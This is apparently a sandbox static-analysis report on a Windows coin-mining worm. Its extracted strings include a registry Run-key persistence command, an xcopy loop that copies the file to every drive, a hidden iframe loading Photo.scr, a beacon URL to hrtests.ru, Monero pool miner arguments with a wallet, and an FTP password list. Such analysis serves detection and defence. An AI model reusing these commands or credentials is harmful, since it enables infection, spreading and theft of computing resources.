Static | ZeroBOX

PE Compile Time

2016-02-07 06:24:54

PE Imphash

87e83bda436138fd7844ecd76decc70d

Sections

Name Virtual Address Virtual Size Size of Raw Data Entropy
.text 0x00001000 0x000137d0 0x00013800 6.10382144554
.data 0x00015000 0x00000464 0x00000600 2.1539296959
.rdata 0x00016000 0x00002814 0x00002a00 5.20732485288
.eh_fram 0x00019000 0x000003f8 0x00000400 4.59707216526
.bss 0x0001a000 0x00004b4c 0x00000000 0.0
.idata 0x0001f000 0x00000d98 0x00000e00 5.20616302391
.CRT 0x00020000 0x0000001c 0x00000200 0.170145652003
.tls 0x00021000 0x00000020 0x00000200 0.210826267787
.rsrc 0x00022000 0x00169230 0x00169400 7.11962621572

Resources

Name Offset Size Language Sub-language File type
RT_ICON 0x0002cd34 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002cd34 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002cd34 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002cd34 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002cd34 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002cd34 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002cd34 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002cd34 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002cd34 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_ICON 0x0002cd34 0x00000468 LANG_ENGLISH SUBLANG_ENGLISH_US GLS_BINARY_LSB_FIRST
RT_RCDATA 0x0002d19c 0x0015e000 LANG_ENGLISH SUBLANG_ENGLISH_US PE32 executable (console) Intel 80386, for MS Windows
RT_GROUP_ICON 0x0018b19c 0x00000092 LANG_ENGLISH SUBLANG_ENGLISH_US empty

Imports

Library WININET.DLL:
0x41f260 FtpFindFirstFileA
0x41f264 FtpGetFileA
0x41f268 FtpOpenFileA
0x41f26c FtpPutFileA
0x41f270 InternetCloseHandle
0x41f274 InternetConnectA
0x41f27c InternetOpenA
0x41f280 InternetOpenUrlA
0x41f284 InternetReadFile
0x41f288 InternetSetOptionA
Library KERNEL32.dll:
0x41f290 AddAtomA
0x41f294 CloseHandle
0x41f298 CreateEventA
0x41f29c CreateFileA
0x41f2a0 CreateMutexA
0x41f2a4 CreateSemaphoreA
0x41f2ac DeleteFileA
0x41f2b0 DuplicateHandle
0x41f2b8 ExitProcess
0x41f2c0 FindAtomA
0x41f2c4 FindResourceA
0x41f2c8 GetAtomNameA
0x41f2cc GetCommandLineA
0x41f2d0 GetCurrentProcess
0x41f2d4 GetCurrentThread
0x41f2d8 GetCurrentThreadId
0x41f2e0 GetLastError
0x41f2e4 GetModuleFileNameA
0x41f2e8 GetModuleHandleA
0x41f2ec GetProcAddress
0x41f2f4 GetStartupInfoA
0x41f2f8 GetThreadContext
0x41f2fc GetThreadPriority
0x41f300 GetTickCount
0x41f318 LoadResource
0x41f31c LockResource
0x41f328 ReleaseMutex
0x41f32c ReleaseSemaphore
0x41f330 ResetEvent
0x41f334 ResumeThread
0x41f338 SetEvent
0x41f33c SetLastError
0x41f344 SetThreadContext
0x41f348 SetThreadPriority
0x41f350 SizeofResource
0x41f354 Sleep
0x41f358 SuspendThread
0x41f35c TlsAlloc
0x41f360 TlsGetValue
0x41f364 TlsSetValue
0x41f36c VirtualProtect
0x41f370 VirtualQuery
0x41f378 WaitForSingleObject
0x41f37c WriteFile
Library msvcrt.dll:
0x41f384 _write
Library msvcrt.dll:
0x41f38c __getmainargs
0x41f390 __p__environ
0x41f394 __p__fmode
0x41f398 __set_app_type
0x41f39c _beginthread
0x41f3a0 _beginthreadex
0x41f3a4 _cexit
0x41f3a8 _endthread
0x41f3ac _endthreadex
0x41f3b0 _ftime
0x41f3b4 _iob
0x41f3b8 _onexit
0x41f3bc _setjmp
0x41f3c0 _setmode
0x41f3c4 abort
0x41f3c8 atexit
0x41f3cc calloc
0x41f3d0 exit
0x41f3d4 fclose
0x41f3d8 fopen
0x41f3dc fprintf
0x41f3e0 fputc
0x41f3e4 fputs
0x41f3e8 free
0x41f3ec fscanf
0x41f3f0 fwrite
0x41f3f4 longjmp
0x41f3f8 malloc
0x41f3fc memcmp
0x41f400 memcpy
0x41f404 memmove
0x41f408 memset
0x41f40c printf
0x41f410 rand
0x41f414 realloc
0x41f418 signal
0x41f41c sprintf
0x41f420 srand
0x41f424 strcmp
0x41f428 strcpy
0x41f42c strlen
0x41f430 strncpy
0x41f434 strstr
0x41f438 vfprintf
Library SHELL32.DLL:
0x41f440 ShellExecuteA

!This program cannot be run in DOS mode.
P`.data
.rdata
`@.eh_fram
0@.bss
.idata
p< tBv <@t,<Pt
D$`;0@
D$8,GA
D$8<GA
D$@j9@
D$8LGA
D$8\GA
D$@.<@
D$8lGA
D$8|GA
D$@E@@
D$@=A@
D$@uB@
D$@qC@
KwRUWVS
u?<Fu;9
<ntO<Etr
<Et^<LtJ~
<rt_<Vt[<KtW
C ;C$}
<St{<_tp<$
t,;(v6
T$@9S(v5
9D$PtT
anonymous
www-data
anonymous
www-data
administrator
password
pass1234
123456
1234567
12345678
123456789
1234567890
qwerty
000000
111111
123123
abc123
admin123
derok010101
windows
123qwe
email@email.com
stafftest.ru
hrtests.ru
profetest.ru
testpsy.ru
pstests.ru
qptest.ru
prtests.ru
jobtests.ru
iqtesti.ru
libgcj-13.dll
_Jv_RegisterClasses
Photo.scr
%TEMP%
<iframe src=Photo.scr width=1 height=1 frameborder=0>
</iframe>
http://hrtests.ru/S.php?ver=24&pc=%s&user=%s&sys=%s&cmd=%s&startup=%s/%s
%APPDATA%
%d.%d.%d.%d
http://%s/test.html?%d
Sr&w09.
Section
-o stratum+tcp://mine.moneropool.com:3336 -t 1 -u 42n7TTpcpLe8yPPLxgh27xXSBWJnVu9bW8t7GuZXGWt74vryjew2D5EjSSvHBmxNhx8RezfYjv3J7W63bWS8fEgg6tct3yZ -p x
/c start /b %%TEMP%%\NsCpuCNMiner32.exe -dbg -1 %s
RCDATA1
%s\NsCpuCNMiner32.exe
/c (echo stratum+tcp://mine.moneropool.com:3333& echo stratum+tcp://monero.crypto-pool.fr:3333& echo stratum+tcp://xmr.prohash.net:7777& echo stratum+tcp://pool.minexmr.com:5555)> %TEMP%\pools.txt
/c reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Run" /d "%s" /t REG_SZ /f
/c for %%i in (A B C D E F G H J K L M N O P R S T Q U Y I X V X W Z) do xcopy /y "%s" %%i:\
std::exception
std::bad_exception
eh_globals
__gnu_cxx::__concurrence_lock_error
__gnu_cxx::__concurrence_unlock_error
pure virtual method called
deleted virtual method called
__terminate_handler_sh
__unexpected_handler_sh
terminate called recursively
terminate called after throwing an instance of '
terminate called without an active exception
what():
_GLOBAL_
(anonymous namespace)
string literal
{default arg#
JArray
vtable for
VTT for
construction vtable for
typeinfo for
typeinfo name for
typeinfo fn for
non-virtual thunk to
virtual thunk to
covariant return thunk to
java Class for
guard variable for
TLS init function for
TLS wrapper function for
reference temporary #
hidden alias for
transaction clone for
non-transaction clone for
_Accum
_Fract
operator
operator
java resource
decltype (
{parm#
global constructors keyed to
global destructors keyed to
{lambda(
{unnamed type#
[clone
restrict
volatile
const
complex
imaginary
__vector(
std::allocator
allocator
std::basic_string
basic_string
std::string
std::basic_string<char, std::char_traits<char>, std::allocator<char> >
std::istream
std::basic_istream<char, std::char_traits<char> >
basic_istream
std::ostream
std::basic_ostream<char, std::char_traits<char> >
basic_ostream
std::iostream
std::basic_iostream<char, std::char_traits<char> >
basic_iostream
alignof
const_cast
delete[]
dynamic_cast
delete
operator""
reinterpret_cast
static_cast
sizeof
throw
signed char
boolean
double
long double
__float128
unsigned char
unsigned int
unsigned
unsigned long
__int128
unsigned __int128
unsigned short
wchar_t
long long
unsigned long long
decimal32
decimal64
decimal128
char16_t
char32_t
decltype(nullptr)
Mingw runtime failure:
VirtualQuery failed for %d bytes at address %p
Unknown pseudo relocation protocol version %d.
Unknown pseudo relocation bit size %d.
use_fc_key
fc_key
sjlj_once
fc_static
_pthread_key_dest_shmem
_pthread_cancelling_shmem
_pthread_concur_shmem
_pthread_tls_once_shmem
_pthread_tls_shmem
_pthread_key_lock_shmem
_pthread_key_max_shmem
_pthread_key_sch_shmem
pthr_root_shmem
pthr_last_shmem
mtx_pthr_locked_shmem
idList_shmem
idListCnt_shmem
idListMax_shmem
idListNextId_shmem
T%p %d %s
T%p %d V=%0X H=%p %s
once_obj_shmem
once_global_shmem
%p not found?!?!
once %p is %d
dummy_concurrency_level_shmem
mutex_global_shmem
c:/crossdev/src/winpthreads-svn6233/src/mutex.c
(m_->valid == LIFE_MUTEX) && (m_->busy > 0)
Assertion failed: (%s), file %s, line %d
mutex_global_static_shmem
M%p %d %s
M%p %d V=%0X B=%d t=%d o=%d C=%d R=%d H=%p %s
mxattr_recursive_shmem
mxattr_errorcheck_shmem
gcc-shmem-tdm2
spin_locked_shmem
rwl_global_shmem
c:/crossdev/src/winpthreads-svn6233/src/rwlock.c
(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0)
Assertion failed: (%s), file %s, line %d
RWL%p %d %s
RWL%p %d V=%0X B=%d r=%ld w=%ld L=%p %s
cond_locked_shmem_rwlock
C%p %d %s
C%p %d V=%0X B=%d b=%p w=%ld %s
cond_locked_shmem_cond
N10__cxxabiv115__forced_unwindE
N10__cxxabiv117__class_type_infoE
N10__cxxabiv119__foreign_exceptionE
N10__cxxabiv120__si_class_type_infoE
N9__gnu_cxx24__concurrence_lock_errorE
N9__gnu_cxx26__concurrence_unlock_errorE
St13bad_exception
St9exception
St9type_info
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
GCC: (tdm-2) 4.8.1
FtpFindFirstFileA
FtpGetFileA
FtpOpenFileA
FtpPutFileA
InternetCloseHandle
InternetConnectA
InternetFindNextFileA
InternetOpenA
InternetOpenUrlA
InternetReadFile
InternetSetOptionA
AddAtomA
CloseHandle
CreateEventA
CreateFileA
CreateMutexA
CreateSemaphoreA
DeleteCriticalSection
DeleteFileA
DuplicateHandle
EnterCriticalSection
ExitProcess
ExpandEnvironmentStringsA
FindAtomA
FindResourceA
GetAtomNameA
GetCommandLineA
GetCurrentProcess
GetCurrentThread
GetCurrentThreadId
GetHandleInformation
GetLastError
GetModuleFileNameA
GetModuleHandleA
GetProcAddress
GetProcessAffinityMask
GetStartupInfoA
GetThreadContext
GetThreadPriority
GetTickCount
InitializeCriticalSection
InterlockedDecrement
InterlockedExchangeAdd
InterlockedIncrement
LeaveCriticalSection
LoadResource
LockResource
QueryPerformanceCounter
QueryPerformanceFrequency
ReleaseMutex
ReleaseSemaphore
ResetEvent
ResumeThread
SetEvent
SetLastError
SetProcessAffinityMask
SetThreadContext
SetThreadPriority
SetUnhandledExceptionFilter
SizeofResource
SuspendThread
TlsAlloc
TlsGetValue
TlsSetValue
TryEnterCriticalSection
VirtualProtect
VirtualQuery
WaitForMultipleObjects
WaitForSingleObject
WriteFile
_write
__getmainargs
__p__environ
__p__fmode
__set_app_type
_beginthread
_beginthreadex
_cexit
_endthread
_endthreadex
_ftime
_onexit
_setjmp
_setmode
atexit
calloc
fclose
fprintf
fscanf
fwrite
longjmp
malloc
memcmp
memcpy
memmove
memset
printf
realloc
signal
sprintf
strcmp
strcpy
strlen
strncpy
strstr
vfprintf
ShellExecuteA
WININET.DLL
KERNEL32.dll
msvcrt.dll
msvcrt.dll
SHELL32.DLL
M907=SH.
M907=EA$!!$
M92=HSAA$
M97?HHAAAA$!
M97?HE3
u7?JH$
!!!!!!
!!!!!!!!!
!!!!$$$!! ""ooH
!!$$$$$$""""roJ
$#$A@@""""CroH
###$AAACC@C"Crr^
$@AAAAACC"CC|o^
!!##AAAECCCCCCCR|r^
##AAEAECRUCRRRzr^
$#@AAECUSUUURU_xr_
#$AAEGGSUUUU_UUzr_
$@AEAGSUUU_UU__
$#3AEGGSUU_U__Uozxc
##$AEGGSU_Uc_U__
$3AAGSUU_U____o
$3AGGGUcU_c___ozxc
$$3OGGWSUc__o__o
$33OOGWWb^_ppppr
$33OOSSb^pprrxz
3OOSScbmx
4O^gmz
44S[gxz
SS[gx{{z
&&& (B\
&&>&>&&&&Y8
%&>>>>((((h0
%">>J>L>((Qh8
">>J>LJ(L(hi0
">>JJJJLLLLht8
&>J>JQQQQQQix0
NTn%"7>JJNQQQQQYt|>
TN`"">>JJQQYYYQYt
NNT"7HJJNQ[YYYYYt
TTT"H>JJN[YYYYYht
TNN7&JJJZYY[hhYht
ZNN"HHJOZY[^^^jjx
TTTHHJJO[^^jjtjtx
ZTa77JO[^jjuu~
Z]e7JNZajz
Z]reyyyzujZOZuz
Ze~oZeez
00*) 
4410*) 
764410*) B
99774410*)(
!;<;9774410
$<A<<;97744
&@AAA@;;987
+<AAA@@@;;9
+AAAAAAA@@;
3<AAAAAAA@;
3+++!%!
M=Bc`S
GW"WD
!A220z
A%0izc:;
E-8oBM
6^NZYN
HSc.:"
'`khy9p
~TY~&g
8Y'TO8
'k@~1o
HdyY0`
IDAT/N~#*
jrrWgs
hL&=\{
*w8"V;
5*S]|I\b
B}}I1,
I=l& '/
UHeyl@
da#$.>
^5kp%h
YbGI8;
lu`fYL
RPe7I|
YqS$3#E
[b(*/-
go<84w
jyF_ j
ssSa<2
6;{,JX
##GH!
M`sKc<
!This program cannot be run in DOS mode.
Richz3
`.rdata
@.data
.reloc
@.rsrc
w'+j?#
?1a(&0
NdPvWc
USER32.dll
WS2_32.dll
YiT@+`N
T%Ej!x`
{CLFgFo
1!Cx9
~p\9$s
fbnjVR^3
okWS_[*
pz"!"%
q!?f~r
90k=:l4z
_#Mwn~Q2
%0[,bb
WwvZV3;
pu6j1~
q.+x$H
40<8$
tp|xd`
lhTP\XD@
51=9%!
uq}yea
miUQ]YEA
p"T)a:
( :6/`>?hB:
jzq>Ke
:z >#*p
WsD"RQi
3Ozss:
.R{~2_r
2{:R2#
,Niw0.Sg
Bp+Qss-
!,!0W#
fzfYbr~z
B[$O<P{
0Bi4-Fb
hNcG1W
'9,RQC
['i5RWh
9k)19FR#z
CsH"l|
2RAsiP
_q@Bc0
s2h"r3
31lhp"
L'1:R%0
2y(P2R
!ICeL?
3(IJHK
_?2}|2
bAgY1:
$LSe6Z
I|nPb6
vc/?CYra
s3(p#B
I'p"rZ4
RCDATA1
Antivirus Signature
Bkav W32.AIDetectMalware
Lionic Trojan.Win32.Agentb.tn9n
tehtris Clean
ClamAV Win.Coinminer.Generic-7150608-0
CMC Clean
CAT-QuickHeal Risktool.BitCoinMiner.DR9
Skyhigh Photominer!03364EB9EA61
McAfee Photominer!03364EB9EA61
Cylance Unsafe
Zillya Trojan.Black.Win32.46302
Sangfor CoinMiner.Win32.Agent.Vr0i
K7AntiVirus CryptoMiner ( 004e1d801 )
Alibaba Malware:Win32/km_2ed2b.None
K7GW CryptoMiner ( 004e1d801 )
Cybereason malicious.9ea617
Baidu Clean
Paloalto Clean
Symantec Trojan.Coinbitminer
Elastic malicious (high confidence)
ESET-NOD32 Win32/Crytes.AA
APEX Malicious
Avast Win32:BitCoinMiner-IW [Trj]
Cynet Malicious (score: 100)
Kaspersky Worm.Win32.Remoh.ah
BitDefender Application.BitCoinMiner.OE
NANO-Antivirus Trojan.Win32.DownLoad3.ebcppl
ViRobot Trojan.Win32.Agent.1578496.A
MicroWorld-eScan Application.BitCoinMiner.OE
Tencent Worm.Win32.Crytes.ya
TACHYON Clean
Sophos Troj/Miner-JO
F-Secure Clean
DrWeb Trojan.BtcMine.1214
VIPRE Application.BitCoinMiner.OE
TrendMicro TROJ_COINMINER_GB01001A.UVPM
Trapmine suspicious.low.ml.score
FireEye Generic.mg.03364eb9ea617032
Emsisoft Application.BitCoinMiner.OE (B)
SentinelOne Static AI - Malicious PE
GData Win32.Trojan.PSE.FPT8KX
Jiangmin RiskTool.BitCoinMiner.ab
Webroot Trojan.Dropper.Gen
Varist W32/BitCoin.J.gen!Eldorado
Avira Clean
Antiy-AVL Trojan/Win32.Crytes.aa
Kingsoft malware.kb.a.1000
Gridinsoft Risk.Win32.CoinMiner.sd!s1
Xcitium TrojWare.Win32.CoinMiner.B@6tqin0
Arcabit Application.BitCoinMiner.OE
SUPERAntiSpyware Clean
ZoneAlarm Worm.Win32.Remoh.ah
Microsoft Trojan:Win32/Ymacco.ABA2
Google Detected
AhnLab-V3 CoinMiner/Win.Agent.1606144
Acronis Clean
ALYac Application.BitCoinMiner.OE
MAX malware (ai score=74)
VBA32 Trojan.Miner
Malwarebytes Generic.Malware.AI.DDS
Panda Trj/Genetic.gen
Zoner Clean
TrendMicro-HouseCall TROJ_COINMINER_GB01001A.UVPM
Rising Trojan.CoinMiner!1.ACB9 (CLASSIC)
Yandex Clean
Ikarus Trojan.Win32.CoinMiner
MaxSecure Worm.Remoh.ai
Fortinet W32/CoinMiner.ZT!tr
BitDefenderTheta Clean
AVG Win32:BitCoinMiner-IW [Trj]
DeepInstinct MALICIOUS
CrowdStrike win/malicious_confidence_100% (W)
alibabacloud Miner:Win/Crytes
No IRMA results available.